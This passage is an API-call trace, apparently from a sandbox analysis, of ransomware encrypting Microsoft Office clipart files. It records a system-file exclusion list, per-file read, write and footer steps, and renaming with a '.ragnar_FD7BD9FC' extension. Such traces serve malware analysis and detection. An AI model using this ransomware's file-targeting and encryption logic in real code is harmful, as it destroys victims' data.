dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.004] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3416) returned 1 [0080.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.004] GetProcessHeap () returned 0x580000 [0080.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.004] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.006] VirtualAlloc (lpAddress=0x0, dwSize=0xd58, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.006] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd58, lpOverlapped=0x0) returned 1 [0080.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.006] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd58, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.006] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd58, lpOverlapped=0x0) returned 1 [0080.007] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.007] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.007] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.007] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.007] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.007] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.007] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.007] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.007] GetProcessHeap () returned 0x580000 [0080.007] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.007] CloseHandle (hObject=0xf4) returned 1 [0080.007] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" [0080.007] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ragnar_FD7BD9FC" [0080.007] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.008] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0080.008] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.008] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04174_.WMF" | out: lpString1="AN04174_.WMF") returned="AN04174_.WMF" [0080.008] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned=".WMF" [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="autorun.inf") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="boot.ini") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="bootfont.bin") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="bootsect.bak") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="bootmgr") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="bootmgr.efi") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="desktop.ini") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="iconcache.db") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="ntldr") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="ntuser.dat") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="ntuser.ini") returned -1 [0080.008] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="thumbs.db") returned -1 [0080.008] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.008] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.008] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.008] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.008] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.009] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.009] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0080.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.009] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2636) returned 1 [0080.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.010] GetProcessHeap () returned 0x580000 [0080.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.010] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.011] VirtualAlloc (lpAddress=0x0, dwSize=0xa4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.011] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa4c, lpOverlapped=0x0) returned 1 [0080.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.012] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa4c, lpOverlapped=0x0) returned 1 [0080.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.012] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.012] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.012] GetProcessHeap () returned 0x580000 [0080.012] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.012] CloseHandle (hObject=0xf4) returned 1 [0080.012] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" [0080.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ragnar_FD7BD9FC" [0080.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.013] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0080.013] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.013] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04191_.WMF" | out: lpString1="AN04191_.WMF") returned="AN04191_.WMF" [0080.013] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned=".WMF" [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="autorun.inf") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="boot.ini") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="bootfont.bin") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="bootsect.bak") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="bootmgr") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="bootmgr.efi") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="desktop.ini") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="iconcache.db") returned -1 [0080.013] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="ntldr") returned -1 [0080.014] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="ntuser.dat") returned -1 [0080.014] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.014] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="ntuser.ini") returned -1 [0080.014] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="thumbs.db") returned -1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.014] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0080.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.014] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6636) returned 1 [0080.014] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.014] GetProcessHeap () returned 0x580000 [0080.014] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.014] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.016] VirtualAlloc (lpAddress=0x0, dwSize=0x19ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.016] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.016] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.016] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19ec, lpOverlapped=0x0) returned 1 [0080.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.017] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.017] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19ec, lpOverlapped=0x0) returned 1 [0080.017] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.017] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.018] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.018] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.018] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.018] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.018] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.018] GetProcessHeap () returned 0x580000 [0080.018] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.018] CloseHandle (hObject=0xf4) returned 1 [0080.018] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" [0080.018] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ragnar_FD7BD9FC" [0080.018] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.019] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0080.019] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.019] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04195_.WMF" | out: lpString1="AN04195_.WMF") returned="AN04195_.WMF" [0080.019] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned=".WMF" [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="autorun.inf") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="boot.ini") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="bootfont.bin") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="bootsect.bak") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="bootmgr") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="bootmgr.efi") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="desktop.ini") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="iconcache.db") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="ntldr") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="ntuser.dat") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="ntuser.ini") returned -1 [0080.019] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="thumbs.db") returned -1 [0080.019] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.020] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0080.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.020] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4612) returned 1 [0080.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.020] GetProcessHeap () returned 0x580000 [0080.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.020] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.022] VirtualAlloc (lpAddress=0x0, dwSize=0x1204, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.022] 